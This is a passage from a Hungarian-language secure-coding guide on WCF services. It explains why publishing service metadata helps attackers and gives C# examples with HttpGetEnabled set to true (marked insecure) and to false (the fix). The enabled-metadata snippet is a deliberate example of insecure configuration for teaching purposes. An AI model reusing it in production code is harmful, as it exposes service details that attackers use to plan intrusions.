    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

WCF-Információk közzététele metaadatokon keresztül

Cím Részletek
Komponens WCF
SDL-fázis Létrehozás
Alkalmazható technológiák .NET-keretrendszer 3
Attribútumok n/a
Hivatkozások MSDN, Fortify Kingdom
Lépések A metaadatok segítségével a támadók megismerhetik a rendszert, és megtervezhetik a támadás egy formáját. A WCF-szolgáltatások konfigurálhatók metaadatok felfedésére. A metaadatok részletes szolgáltatásleírási információkat adnak meg, és nem szabad éles környezetben sugározni. A HttpGetEnabled / HttpsGetEnabled ServiceMetaData osztály tulajdonságai határozzák meg, hogy egy szolgáltatás elérhetővé teszi-e a metaadatokat

Példa

Az alábbi kód arra utasítja a WCF-et, hogy közvetítse a szolgáltatás metaadatait

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

Ne közvetítse a szolgáltatás metaadatait éles környezetben. Állítsa a ServiceMetaData osztály HttpGetEnabled/HttpsGetEnabled tulajdonságát false (hamis) értékre.

Példa

Az alábbi kód arra utasítja a WCF-et, hogy ne közvetítse a szolgáltatás metaadatait.

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);